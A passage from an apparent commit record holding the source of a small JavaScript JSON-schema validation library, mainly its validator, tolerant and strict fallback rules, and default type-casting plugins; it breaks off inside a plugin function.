include:\\n\\ndate - a string following the ISO format \\naddress \\nschema - a schema definition object \\nperson \\npage \\nhtml - a string representing HTML\",\n\t\t\tadapters: 'addToRefs'\n\t\t}\n\t},\n\t\n\tadapters: [\n\t\t'instantiateSchema',\n\t\t'addToRefs'\n\t]\n};"}, "files_after": {"index.js": "// schema.js - index - Copyright Andreas Kalsch <andreaskalsch@gmx.de> (MIT Licensed)\n\n\n\n\n\"use strict\";\nvar sys = require('sys');\nrequire('extensions');\n\n\n\n\nvar LANG = 'de';\n\n\n\n\nfunction _Error (path, name, message) {\n\n\tthis.path = path\n\t\t? path.clone()\n\t\t: [];\n\tthis.name = name || '';\n\tthis.message = message || '';\n};\n\n_Error.prototype = new Error;\n_Error.prototype.constructor = _Error;\n\n\n\n\nfunction Validation (rootSchema, instance) {\n\n\tthis.id = ++Validation._id;\n\n\t// Save combination of objects/schemas\n\tthis._flags = {};\n\n\tthis._wasError = 0;\n\n\t// Stack of schemas\n\tthis._stack = [];\n\tthis.push(rootSchema);\n\n\t// Current path\n\tthis.path = [];\n\n\t/// Relevant?\n\tthis.rootSchema = rootSchema;\n\n\t// Both relevant properties the user is interested in\n\tthis.errors = [];\n\tthis.instance = instance;\n\tthis.instance = this.start(instance);\n\n\tdelete this._flags, this._wasError, this._stack;\n};\n\nObject.extend(Validation.prototype, {\n\n\n\t// change state\n\n\tpushError: function (name, message) {\n\n\t\t/*message = message\n\t\t\t|| Schema.messages[name]\n\t\t\t\t? (\n\t\t\t\t\tSchema.messages[name][Schema.LANG || LANG]\n\t\t\t\t\t\t|| Schema.messages[name].en\n\t\t\t\t).call(this)\n\t\t\t\t: '';*/\n\n\t\tthis.errors.push(new _Error(this.path, name, message));\n\t\tthis._wasError++;\n\t},\n\n\twasError: function () {\n\n\t\tvar was = this._wasError;\n\t\tthis._wasError = 0;\n\t\treturn was;\n\t},\n\n\tisError: function () {\n\n\t\treturn this.errors.length > 0;\n\t},\n\n\tpush: function (schema, key) {\n\n\t\tthis.schema = schema;\n\t\tthis._stack.push(schema);\n\t\tif (key !== undefined) this.path.push(key);\n\t},\n\n\tpop: function (omitKey) {\n\n\t\tvar ret = [\n\t\t\tthis._stack.pop(),\n\t\t\tomitKey ? undefined : this.path.pop()\n\t\t];\n\t\tvar len = this._stack.length;\n\t\tthis.schema = len\n\t\t\t? this._stack[len - 1]\n\t\t\t: null;\n\t\treturn ret;\n\t},\n\n\tgetFlag: function (instance) {\n\n\t\treturn Object.id(instance)+'_'+this.schema.id;\n\t},\n\n\tflagObject: function (instance) {\n\n\t\tthis._flags[this.getFlag(instance)] = true;\n\t\treturn instance;\n\t},\n\n\tisObjectFlagged: function (instance) {\n\n\t\treturn this.getFlag(instance) in this._flags;\n\t},\n\n\n\n\t// start\n\n\tstart: function (instance) {\n\n\t\tif (instance instanceof Object) {\n\n\t\t\tif (this.isObjectFlagged(instance)) return instance;\n\t\t\tthis.flagObject(instance);\n\t\t}\n\n\t\tinstance = this.extends(instance); if (this.wasError()) return instance;\n\n\t\tinstance = this.optional(instance); if (this.wasError() || instance === undefined) return instance;\n\n\t\t//instance = this.readonly(instance); if (this.wasError() || instance === undefined) return instance;\n\n\t\tinstance = this.adapters(instance); if (this.wasError()) return instance;\n\n\t\tinstance = this.type(instance); if (this.wasError()) return instance;\n\n\t\tinstance = this.requires(instance);\n\n\t\treturn instance;\n\t},\n\n\n\t// checkers\n\n\textends: function (instance) {\n\n\t\tif (!this.schema.extends) return instance;\n\n\t\tthis.push(this.schema.extends);\n\t\tinstance = this.start(instance);\n\t\tthis.pop(true);\n\n\t\treturn instance;\n\t},\n\n\toptional: function (instance) {\n\n\t\treturn (this.schema.optional || instance !== undefined)\n\t\t\t? instance\n\t\t\t: this.schema.__optional.call(this, instance);\n\t},\n\n\treadonly: function (instance) {\n\n\t\treturn (!this.schema.readonly)\n\t\t\t? instance\n\t\t\t: this.schema.__readonly.call(this, instance);\n\t},\n\n\tadapters: function (instance) {\n\n\t\tif (!this.schema.adapters) return instance;\n\n\n\t\tvar adapters = this.schema.adapters;\n\n\t\tif (!(adapters instanceof Array)) {\n\n\t\t\treturn (typeof adapters === 'string'\n\t\t\t\t? Schema.plugins[adapters]\n\t\t\t\t: adapters).call(this, instance);\n\t\t}\n\n\n\t\tvar len = this.errors.length,\n\t\t\tadapter;\n\t\tfor (var li = adapters.length, i = 0; i < li; i++) {\n\n\t\t\tadapter = adapters[i];\n\n\t\t\tinstance = (typeof adapter === 'string'\n\t\t\t\t? Schema.plugins[adapter]\n\t\t\t\t: adapter).call(this, instance);\n\n\t\t\tif (this.errors.length > len) return instance;\n\t\t}\n\n\t\treturn instance;\n\t},\n\n\ttype: function (instance, type, isFirst) {\n\n\t\tisFirst = isFirst === false\n\t\t\t? false\n\t\t\t: true;\n\n\t\tvar toType = type || this.schema.type;\n\n\t\tif (!(toType instanceof Array)) {\n\n\t\t\tvar fromType = typeof instance;\n\n\t\t\tvar ok = (function () {\n\n\t\t\t\tif (toType === 'any') return true;\n\n\t\t\t\tif (toType === 'null') return instance === null;\n\n\t\t\t\tif (toType === 'array') return instance instanceof Array;\n\n\t\t\t\tif (toType === 'object') return instance instanceof Object && !(instance instanceof Array);\n\n\t\t\t\tif (toType === 'number') return fromType === 'number';\n\n\t\t\t\tif (toType === 'integer') return Math.round(instance) === instance;\n\n\t\t\t\tif (toType === 'string') return fromType === 'string';\n\n\t\t\t\tif (toType === 'boolean') return fromType === 'boolean';\n\n\t\t\t\tif (toType === 'date') return instance instanceof Date;\n\t\t\t})();\n\n\t\t\tif (!ok) {\n\n\t\t\t\tinstance = this.schema.__type.call(this, instance); if (this.wasError()) return instance;\n\t\t\t}\n\n\t\t\tvar type = typeof instance;\n\n\t\t\tif (type === 'number') {\n\n\t\t\t\tinstance = this.minimum(instance); if (this.wasError()) return instance;\n\n\t\t\t\tinstance = this.maximum(instance); if (this.wasError()) return instance;\n\n\t\t\t\tinstance = this.maxDecimal(instance); if (this.wasError()) return instance;\n\n\t\t\t\tif (isFirst) instance = this.enum(instance);\n\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (type === 'string') {\n\n\t\t\t\tinstance = this.pattern(instance); if (this.wasError()) return instance;\n\n\t\t\t\tinstance = this.minLength(instance); if (this.wasError()) return instance;\n\n\t\t\t\tinstance = this.maxLength(instance); if (this.wasError()) return instance;\n\n\t\t\t\tif (isFirst) instance = this.enum(instance);\n\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (instance instanceof Array) {\n\n\t\t\t\tinstance = this.minItems(instance); if (this.wasError()) return instance;\n\n\t\t\t\tinstance = this.maxItems(instance); if (this.wasError()) return instance;\n\n\t\t\t\tinstance = this.items(instance); if (this.wasError()) return instance;\n\n\t\t\t\tinstance = this.additionalProperties(instance); if (this.wasError()) return instance;\n\n\t\t\t\tif (isFirst) instance = this.enum(instance);\n\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (instance instanceof Date) {\n\n\t\t\t\tinstance = this.minimum(instance); if (this.wasError()) return instance;\n\n\t\t\t\tinstance = this.maximum(instance); if (this.wasError()) return instance;\n\n\t\t\t\tif (isFirst) instance = this.enum(instance);\n\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (instance instanceof Object) {\n\n\t\t\t\tinstance = this.properties(instance);\n\n\t\t\t\tinstance = this.additionalProperties(instance); if (this.wasError()) return instance;\n\n\t\t\t\tif (isFirst) instance = this.enum(instance);\n\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\treturn instance;\n\t\t}\n\t\telse {\n\n\t\t\tvar inst,\n\t\t\t\tlen = this.errors.length;\n\t\t\tfor (var li = toType.length, i = 0; i < li; i++) {\n\n\t\t\t\tinst = this.type(instance, toType[i], i === 0);\n\t\t\t\tif (this.errors.length === len) {\n\n\t\t\t\t\tinstance = inst;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\n\t\t\t\tif (i + 1 < li) {\n\n\t\t\t\t\tthis.errors.splice(len);\n\t\t\t\t\tthis.wasError();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn instance;\n\t},\n\n\tenum: function (instance) {\n\n\t\tif ('enum' in this.schema) {\n\n\t\t\t/// Tolerant ?\n\t\t\treturn this.schema.enum.indexOf(instance) > -1\n\t\t\t\t? instance\n\t\t\t\t: this.schema.__enum.call(this, instance);\n\t\t}\n\n\t\treturn instance;\n\t},\n\n\trequires: function (instance) {\n\n\t\tif (this.schema.requires !== undefined\n\t\t\t&& this.parentInstance) {\n\n\t\t\t/// requires as string will be replaces by schem, like this:\n\t\t\tvar tempSchema;\n\t\t\tif (typeof this.schema.requires === 'string') {\n\n\t\t\t\ttempSchema = {\n\n\t\t\t\t\tproperties: {}\n\t\t\t\t};\n\t\t\t\ttempSchema.properties[this.schema.requires] = new Schema({type:'any'});\n\t\t\t}\n\t\t\telse {\n\n\t\t\t\ttempSchema = {\n\n\t\t\t\t\tproperties: this.schema.requires\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tvar schema_key = this.pop();\n\n\t\t\tthis.push(tempSchema);\n\n\t\t\tthis.properties(this.parentInstance);\n\n\t\t\tthis.pop(true);\n\t\t\tthis.push.apply(this, schema_key);\n\t\t}\n\n\t\treturn instance;\n\t},\n\n\tproperties: function (instance) {\n\n\t\tif ('properties' in this.schema) {\n\n\t\t\tvar props = this.schema.properties,\n\t\t\t\tprop,\n\t\t\t\tinst;\n\n\t\t\tthis.parentInstance = instance;\n\n\t\t\tvar isIn, inst;\n\t\t\tfor (var key in props) {\n\n\t\t\t\tthis.push(props[key], key);\n\t\t\t\tisIn = key in instance;\n\t\t\t\tinst = this.start(instance[key]);\n\n\t\t\t\tif (isIn || inst !== undefined) instance[key] = inst;\n\t\t\t\tthis.pop();\n\t\t\t}\n\n\t\t\tthis.parentInstance = null;\n\t\t}\n\n\t\tthis.wasError();\n\t\treturn instance;\n\t},\n\n\tadditionalProperties: function (instance) {\n\n\t\tif ('additionalProperties' in this.schema) {\n\n\t\t\tif (instance instanceof Object && !(instance instanceof Array)) {\n\n\t\t\t\tvar props = this.schema.properties || {};\n\n\t\t\t\tif (!this.schema.additionalProperties) {\n\n\t\t\t\t\tfor (var ks = Object.keys(\n\t\t\t\t\t\tinstance\n\t\t\t\t\t), li = ks.length, i = 0, key; key = ks[i], i < li; i++) {\n\n\t\t\t\t\t\tif (!(key in props)) {\n\n\t\t\t\t\t\t\treturn this.schema.__additionalProperties.call(this, instance);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (this.schema.additionalProperties !== true) {\n\n\t\t\t\t\tfor (var ks = Object.keys(\n\t\t\t\t\t\tinstance\n\t\t\t\t\t), li = ks.length, i = 0, key; key = ks[i], i < li; i++) {\n\n\t\t\t\t\t\tif (!(key in props)) {\n\n\t\t\t\t\t\t\tthis.push(this.schema.additionalProperties, key);\n\t\t\t\t\t\t\tinstance[key] = this.start(instance[key]);\n\t\t\t\t\t\t\tthis.pop();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (this.schema.items instanceof Array) {\n\n\t\t\t\tif (!this.schema.additionalProperties) {\n\n\t\t\t\t\tif (instance.length > this.schema.items.length) {\n\n\t\t\t\t\t\treturn this.schema.__additionalProperties.call(this, instance);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (this.schema.additionalProperties !== true) {\n\n\t\t\t\t\tfor (var li = instance.length, i = this.schema.items.length; i < li; i++) {\n\n\t\t\t\t\t\tthis.push(this.schema.additionalProperties, i);\n\t\t\t\t\t\tinstance[i] = this.start(instance[i]);\n\t\t\t\t\t\tthis.pop();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn instance;\n\t},\n\n\titems: function (instance) {\n\n\t\tif ('items' in this.schema) {\n\n\t\t\tif (this.schema.items instanceof Array) {\n\n\t\t\t\tvar isIn, inst;\n\t\t\t\tfor (var li = this.schema.items.length, i = 0; i < li; i++) {\n\n\t\t\t\t\tthis.push(this.schema.items[i], i);\n\t\t\t\t\tisIn = i in instance;\n\t\t\t\t\tinst = this.start(instance[i]);\n\t\t\t\t\tif (isIn || inst !== undefined) instance[i] = inst;\n\t\t\t\t\tthis.pop();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\n\t\t\t\tfor (var li = instance.length, i = 0; i < li; i++) {\n\n\t\t\t\t\tthis.push(this.schema.items, i);\n\t\t\t\t\tinstance[i] = this.start(instance[i]);\n\t\t\t\t\tthis.pop();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn instance;\n\t},\n\n\tmaxItems: function (instance) {\n\n\t\treturn this.schema.maxItems && instance.length > this.schema.maxItems\n\t\t\t? this.schema.__maxItems.call(this, instance)\n\t\t\t: instance;\n\t},\n\n\tminItems: function (instance) {\n\n\t\treturn this.schema.minItems && instance.length < this.schema.minItems\n\t\t\t? this.schema.__minItems.call(this, instance)\n\t\t\t: instance;\n\t},\n\n\tminimum: function (instance) {\n\n\t\tif (!('minimum' in this.schema)) return instance;\n\n\n\t\tvar minimumCanEqual = 'minimumCanEqual' in this.schema\n\t\t\t? this.schema.minimumCanEqual\n\t\t\t: true;\n\t\treturn (minimumCanEqual\n\t\t\t? instance >= this.schema.minimum\n\t\t\t: instance > this.schema.minimum\n\t\t)\n\t\t\t? instance\n\t\t\t: this.schema.__minimum.call(this, instance);\n\t},\n\n\tmaximum: function (instance) {\n\n\t\tif (!('maximum' in this.schema)) return instance;\n\n\n\t\tvar maximumCanEqual = 'maximumCanEqual' in this.schema\n\t\t\t? this.schema.maximumCanEqual\n\t\t\t: true;\n\t\treturn (maximumCanEqual\n\t\t\t? instance <= this.schema.maximum\n\t\t\t: instance < this.schema.maximum\n\t\t)\n\t\t\t? instance\n\t\t\t: this.schema.__maximum.call(this, instance);\n\t},\n\n\tmaxDecimal: function (instance) {\n\n\t\tif ('maxDecimal' in this.schema) {\n\n\t\t\tvar factor = Math.pow(10, this.schema.maxDecimal);\n\t\t\treturn Math.round(instance * factor) / factor === instance\n\t\t\t\t? instance\n\t\t\t\t: this.schema.__maxDecimal.call(this, instance);\n\t\t}\n\n\t\treturn instance;\n\t},\n\n\tpattern: function (instance) {\n\n\t\tif (!this.schema.pattern) return instance;\n\n\t\treturn this.schema.pattern.test(instance)\n\t\t\t? instance\n\t\t\t: this.schema.__pattern.call(this, instance);\n\t},\n\n\tminLength: function (instance) {\n\n\t\tif (this.schema.minLength === undefined) return instance;\n\n\t\treturn instance.length >= this.schema.minLength\n\t\t\t? instance\n\t\t\t: this.schema.__minLength.call(this, instance);\n\t},\n\n\tmaxLength: function (instance) {\n\n\t\tif (this.schema.maxLength === undefined) return instance;\n\n\t\treturn instance.length <= this.schema.maxLength\n\t\t\t? instance\n\t\t\t: this.schema.__maxLength.call(this, instance);\n\t}\n});\n\nObject.extend(Validation, {\n\n\t_id: 0,\n\tError: _Error\n});\n\n\n\n\nfunction Schema (rawSchema) {\n\n\tif (typeof rawSchema === 'string') rawSchema = JSON.parse(rawSchema);\n\n\tif (rawSchema instanceof Schema) return rawSchema;\n\n\n\tObject.extend(this, rawSchema);\n\n\tvar id = typeof this.id === 'string'\n\t\t? this.id\n\t\t: '__'+(++Schema._id);\n\tthis.constructor.instances[id] = this;\n};\n\nObject.extend(Schema.prototype, {\n\n\tvalidate: function (instance) {\n\n\t\treturn new Validation(this, instance);\n\t},\n\n\tsetFallbacks: function (obj) {\n\n\t\tvar adapterName;\n\n\t\tfor (var propertyName in obj) {\n\n\t\t\tadapterName = obj[propertyName];\n\n\t\t\tif (!(adapterName in Schema.plugins)) throw 'Fallback not registered!';\n\n\n\t\t\tthis['__'+propertyName] = Schema.plugins[adapterName](propertyName);\n\t\t}\n\n\t\treturn this;\n\t}\n});\n\nObject.extend(Schema, {\n\n\t_id: 0,\n\n\tcreate: function (rawSchema) {\n\n\t\tvar validation = Schema.instances.jsonSchemaCore.validate(rawSchema);\n\t\tif (validation.isError()) {\n\n\t\t\tvar E = new Error('Invalid schema');\n\t\t\tE.validation = validation\n\t\t\tthrow E;\n\t\t}\n\n\t\treturn validation.instance;\n\t},\n\n\tcreateSeveral: function (schemaDict) {\n\n\t\tfor (var key in schemaDict) {\n\n\t\t\tif (schemaDict[key].id === undefined) schemaDict[key].id = key;\n\n\n\t\t\tschemaDict[key] = this.create(schemaDict[key]);\n\t\t}\n\n\t\treturn schemaDict;\n\t},\n\n\tinstances: {},\n\n\tValidation: Validation,\n\n\tresolveRefs: function () {\n\n\t\tfor (var id in this.instances) {\n\n\t\t\tObject.resolveRefs(this.instances[id], true);\n\t\t}\n\t},\n\n\tplugins: {},\n\n\tmessages: {\n\n\t\ttype: {\n\n\t\t\tde: function () {\n\n\t\t\t\t//return 'Dieser Wert muss vom Typ %s sein.'.sprintf(Schema.instances.jsonSchemaCore.properties.type.labels[this.schema.type].de);\n\t\t\t}\n\t\t}\n\t},\n\n\tTOLERANT_FALLBACKS: {\n\n\t\toptional: 'setDefault',\n\t\ttype: 'castTolerantlyToType',\n\t\tenum: 'setDefault',\n\t\trequires: 'pushError',\n\t\tadditionalProperties: 'removeAdditionalProperties',\n\t\tmaxItems: 'sliceToMaxItems',\n\t\tminItems: 'pushError',\n\t\tmaximum: 'setMaximum',\n\t\tminimum: 'setMinimum',\n\t\tmaxDecimal: 'roundToMaxDecimal',\n\t\tpattern: 'pushError',\n\t\tminLength: 'pushError',\n\t\tmaxLength: 'pushError'\n\t},\n\n\tSTRICT_FALLBACKS: {\n\n\t\toptional: 'pushError',\n\t\ttype: 'pushError',\n\t\tenum: 'pushError',\n\t\trequires: 'pushError',\n\t\tadditionalProperties: 'pushError',\n\t\tmaxItems: 'pushError',\n\t\tminItems: 'pushError',\n\t\tmaximum: 'pushError',\n\t\tminimum: 'pushError',\n\t\tmaxDecimal: 'pushError',\n\t\tpattern: 'pushError',\n\t\tminLength: 'pushError',\n\t\tmaxLength: 'pushError'\n\t}\n});\n\nObject.extend(Schema.plugins, require('./plugins/default'));\n\nSchema.prototype.setFallbacks(Schema.TOLERANT_FALLBACKS);\n\nObject.extend(Schema.plugins, {\n\n\n\t// adapters - for the core schema\n\n\taddToRefs: function (instance) {\n\n\t\tif (instance instanceof Object\n\t\t\t&& typeof instance.$ref === 'string') {\n\n\t\t\t/// Still no URIs supported\n\t\t\tvar toPath = this.path,\n\t\t\t\tfromPath = instance.$ref.split('.');\n\n\t\t\tObject.addRef(\n\t\t\t\tthis.instance,\n\t\t\t\ttoPath.clone(),\n\t\t\t\tfromPath[0] === '#'\n\t\t\t\t\t? fromPath.clone()\n\t\t\t\t\t: ['__Schema', 'instances'].concat(fromPath)\n\t\t\t);\n\t\t}\n\n\t\treturn instance;\n\t},\n\n\tinstantiateSchema: function (instance) {\n\n\t\tif (instance instanceof Schema || !(instance instanceof Object)) return instance;\n\n\n\t\tvar isThisInstance = instance === this.instance;\n\t\tinstance = new Schema(instance);\n\t\tif (isThisInstance) this.instance = instance;\n\n\t\tif (instance.properties instanceof Object) {\n\n\t\t\tvar props = instance.properties || {};\n\n\t\t\tfor (var key in props) {\n\n\t\t\t\tif (props[key] instanceof Object && !(props[key] instanceof Schema))\n\t\t\t\t\tprops[key] = new Schema(props[key]);\n\t\t\t}\n\t\t}\n\n\t\tif (instance.items instanceof Array) {\n\n\t\t\tvar items = instance.items;\n\t\t\tfor (var li = items.length, i = 0; i < li; i++) {\n\n\t\t\t\tif (items[i] instanceof Object && !(items[i] instanceof Schema))\n\t\t\t\t\titems[i] = new Schema(items[i]);\n\t\t\t}\n\t\t}\n\t\telse if (instance.items instanceof Object) {\n\n\t\t\tif (!(instance.items instanceof Schema))\n\t\t\t\tinstance.items = new Schema(instance.items);\n\t\t}\n\n\t\tif (instance.requires\n\t\t\t&& instance.requires instanceof Object\n\t\t\t&& !(instance.requires instanceof Schema)) {\n\n\t\t\tinstance.requires = new Schema(instance.requires);\n\t\t}\n\n\t\tif (instance.additionalProperties instanceof Object\n\t\t\t&& !(instance.additionalProperties instanceof Schema)) {\n\n\t\t\tinstance.additionalProperties = new Schema(instance.additionalProperties);\n\t\t}\n\n\t\tif (instance.extends instanceof Object) {\n\n\t\t\tif (!(instance.extends instanceof Schema)) {\n\n\t\t\t\tinstance.extends = new Schema(instance.extends);\n\t\t\t}\n\t\t}\n\n\t\tif (instance.fallbacks) {\n\n\t\t\tinstance.setFallbacks(instance.fallbacks);\n\t\t\tdelete instance.fallbacks;\n\t\t}\n\n\t\tObject.resetRefs(instance);\n\n\t\treturn instance;\n\t}\n});\n\n\n\n\nvar jsonSchemaCore = require('./schemas/jsonSchemaCore');\n\n/* The schema schema cannot validate/adapt itself after having been instantiated from raw JSON.\n * At first we apply all adaptations manually, including:\n * - instantiating (sub)schemas\n * - resolve references\n * - set fallbacks (strict)\n * - eventually make extends change the parent schema\n */\n\njsonSchemaCore = new Schema(jsonSchemaCore);\njsonSchemaCore.setFallbacks(Schema.STRICT_FALLBACKS);\n\nfor (var key in jsonSchemaCore.properties) {\n\n\tjsonSchemaCore.properties[key] = new Schema(jsonSchemaCore.properties[key]);\n\tjsonSchemaCore.properties[key].setFallbacks(Schema.STRICT_FALLBACKS);\n}\n\njsonSchemaCore.properties.type.items = new Schema(jsonSchemaCore.properties.type.items);\njsonSchemaCore.properties.type.items.setFallbacks(Schema.STRICT_FALLBACKS);\njsonSchemaCore.properties.type.items.enum = jsonSchemaCore.properties.type.enum;\n\njsonSchemaCore.properties.id.pattern = new RegExp(jsonSchemaCore.properties.id.pattern);\n\njsonSchemaCore.properties.options.items = new Schema(jsonSchemaCore.properties.options.items);\njsonSchemaCore.properties.options.items.setFallbacks(Schema.STRICT_FALLBACKS);\n\njsonSchemaCore.properties.requires.properties = jsonSchemaCore.properties;\n\njsonSchemaCore.properties.adapters.items = new Schema(jsonSchemaCore.properties.adapters.items);\njsonSchemaCore.properties.adapters.items.setFallbacks(Schema.STRICT_FALLBACKS);\n\njsonSchemaCore.properties.fallbacks.additionalProperties = new Schema(jsonSchemaCore.properties.fallbacks.additionalProperties);\njsonSchemaCore.properties.fallbacks.additionalProperties.setFallbacks(Schema.STRICT_FALLBACKS);\n\njsonSchemaCore.properties.properties.additionalProperties = jsonSchemaCore;\n\n//Luhmannesk moment\n//jsonSchemaCore.properties.extends.extends = jsonSchemaCore;\n\njsonSchemaCore.properties.items.properties = jsonSchemaCore.properties;\njsonSchemaCore.properties.items.items = jsonSchemaCore;\n\njsonSchemaCore.properties.additionalProperties.properties = jsonSchemaCore.properties;\n\n/* Now, the core schema should be as if it had validated itself.\n * Check it out:\n */\n\nvar validation = jsonSchemaCore.validate(jsonSchemaCore);\n\nif (validation.isError()) {\n\n\tsys.puts('The core schema is not valid!');\n\tvalidation.errors.forEach(function (error) {\n\n\t\tsys.puts(sys.inspect(error));\n\t});\n\tsys.puts(sys.inspect(validation));\n}\n\n\n\n\nglobal.__Schema = exports = Schema;\n", "plugins/default.js": "var sys = require('sys');\nrequire('extensions');\n\n\nexports = {\n\n\n\t// fallbacks\n\n\tcastTolerantlyToType: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tvar toType = this.schema.type,\n\t\t\t\tfromType = typeof instance,\n\t\t\t\tinst;\n\n\t\t\tif (toType === 'string') {\n\n\t\t\t\tif (fromType === 'object') {\n\n\t\t\t\t\tif (\n\t\t\t\t\t\tinstance !== null\n\t\t\t\t\t\t&& typeof instance.toString === 'function'\n\t\t\t\t\t\t&& instance.toString !== Object.prototype.toString\n\t\t\t\t\t\t&& instance.toString !== Array.prototype.toString\n\t\t\t\t\t) return ''+instance;\n\n\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\treturn instance;\n\t\t\t\t}\n\t\t\t\treturn ''+instance;\n\t\t\t}\n\n\t\t\tif (toType === 'number') {\n\n\t\t\t\tif (fromType !== 'boolean') {\n\n\t\t\t\t\tinst = parseFloat(instance);\n\t\t\t\t\tif (isNaN(inst)) {\n\n\t\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\t\treturn instance;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn inst;\n\t\t\t\t}\n\t\t\t\tif (instance === false) return 0;\n\t\t\t\tif (instance === true) return 1;\n\t\t\t}\n\n\t\t\tif (toType === 'integer') {\n\n\t\t\t\tif (fromType !== 'boolean') {\n\n\t\t\t\t\tinst = parseInt(instance, 10);\n\t\t\t\t\tif (isNaN(inst)) {\n\n\t\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\t\treturn instance;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn inst;\n\t\t\t\t}\n\t\t\t\tif (instance === false) return 0;\n\t\t\t\tif (instance === true) return 1;\n\t\t\t}\n\n\t\t\tif (toType === 'boolean') {\n\n\t\t\t\tif (fromType === 'string') {\n\n\t\t\t\t\t// simple and clear\n\t\t\t\t\treturn !!instance;\n\n\t\t\t\t\tif (instance.trim().toLowerCase() === 'false') return false;\n\n\t\t\t\t\tinst = parseFloat(instance);\n\t\t\t\t\treturn isNaN(inst) ? true : !!inst;\n\t\t\t\t}\n\n\t\t\t\tif (fromType === 'object') {\n\n\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t\treturn instance;\n\t\t\t\t}\n\n\t\t\t\treturn !!instance;\n\t\t\t}\n\n\t\t\tif (toType === 'object') {\n\n\t\t\t\tif (instance instanceof Array && instance.length === 0) return {};\n\t\t\t\tif (fromType !== 'object' || instance === null) this.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (toType === 'array') {\n\n\t\t\t\tif (!instance) return [];\n\t\t\t\tif (instance instanceof Object) {\n\n\t\t\t\t\tif (Object.keys(instance).length === 0) return [];\n\t\t\t\t}\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (toType === 'null') {\n\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (toType === 'date') {\n\n\t\t\t\tvar date = new Date(instance);\n\t\t\t\tif (isNaN(date.getTime())) {\n\t\t\t\t\tthis.pushError(errorName);\n\t\t\t\t} else {\n\t\t\t\t\tinstance = date;\n\t\t\t\t}\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t};\n\t},\n\n\troundToMaxDecimal: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tif (this.schema.maxDecimal === undefined) {\n\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tvar factor = Math.pow(10, this.schema.maxDecimal);\n\t\t\treturn Math[instance < 0 ? 'ceil' : 'floor'](instance * factor) / factor;\n\t\t};\n\t},\n\n\tsetMinimum: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tif (this.schema.minimum === undefined) {\n\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\treturn this.schema.minimum;\n\t\t};\n\t},\n\n\tsetMaximum: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tif (this.schema.maximum === undefined) {\n\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\treturn this.schema.maximum;\n\t\t};\n\t},\n\n\ttruncateToMaxLength: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tif (this.schema.maxLength === undefined) {\n\n\t\t\t\tthis.pushError(errorName);\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\treturn instance.substr(0, this.schema.maxLength);\n\t\t};\n\t},\n\n\tsetDefault: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tif ('default' in this.schema) {\n\t\t\t\tvar def = this.schema['default'];\n\t\t\t\treturn typeof def === 'function' ? def.call(this) : def;\n\t\t\t}\n\n\t\t\tthis.pushError(errorName);\n\t\t};\n\t},\n\n\tremoveAdditionalProperties: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tif (this.schema.type === 'object') {\n\n\t\t\t\tvar props = this.schema.properties || {};\n\t\t\t\tfor (var ks = Object.keys(\n\t\t\t\t\tinstance\n\t\t\t\t), li = ks.length, i = 0, key; key = ks[i], i < li; i++) {\n\n\t\t\t\t\tif (props[key] === undefined) delete instance[key];\n\t\t\t\t}\n\n\t\t\t\treturn instance;\n\t\t\t}\n\n\t\t\tif (this.schema.items && this.schema.items instanceof Array) {\n\n\t\t\t\tfor (var li = instance.length, i = this.schema.items.length; i < li; i++) {\n\n\t\t\t\t\tdelete instance[i];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn instance;\n\t\t};\n\t},\n\n\tsliceToMaxItems: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tif (this.schema.maxItems !== undefined) {\n\n\t\t\t\t/// instance.length will not change\n\t\t\t\t/*for (var li = instance.length, i = this.schema.maxItems; i < li; i++) {\n\n\t\t\t\t\tdelete instance[i];\n\t\t\t\t}*/\n\n\t\t\t\tif (instance.length > this.schema.maxItems) {\n\n\t\t\t\t\tinstance.splice(this.schema.maxItems);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse this.pushError(errorName);\n\n\t\t\treturn instance;\n\t\t};\n\t},\n\n\tpushError: function (errorName) {\n\n\t\treturn function (instance) {\n\n\t\t\tthis.pushError(errorName);\n\t\t\treturn instance;\n\t\t};\n\t},\n\t\n\tdeleteInstance: function (errorName) { \n\n\t\t/*\n\t\tDelete instance\n\t\t*/\n\t\treturn function (instance) {\n\t\t\t\n\t\t\t// Solution needed - undefined means that property still exists\n\t\t\treturn 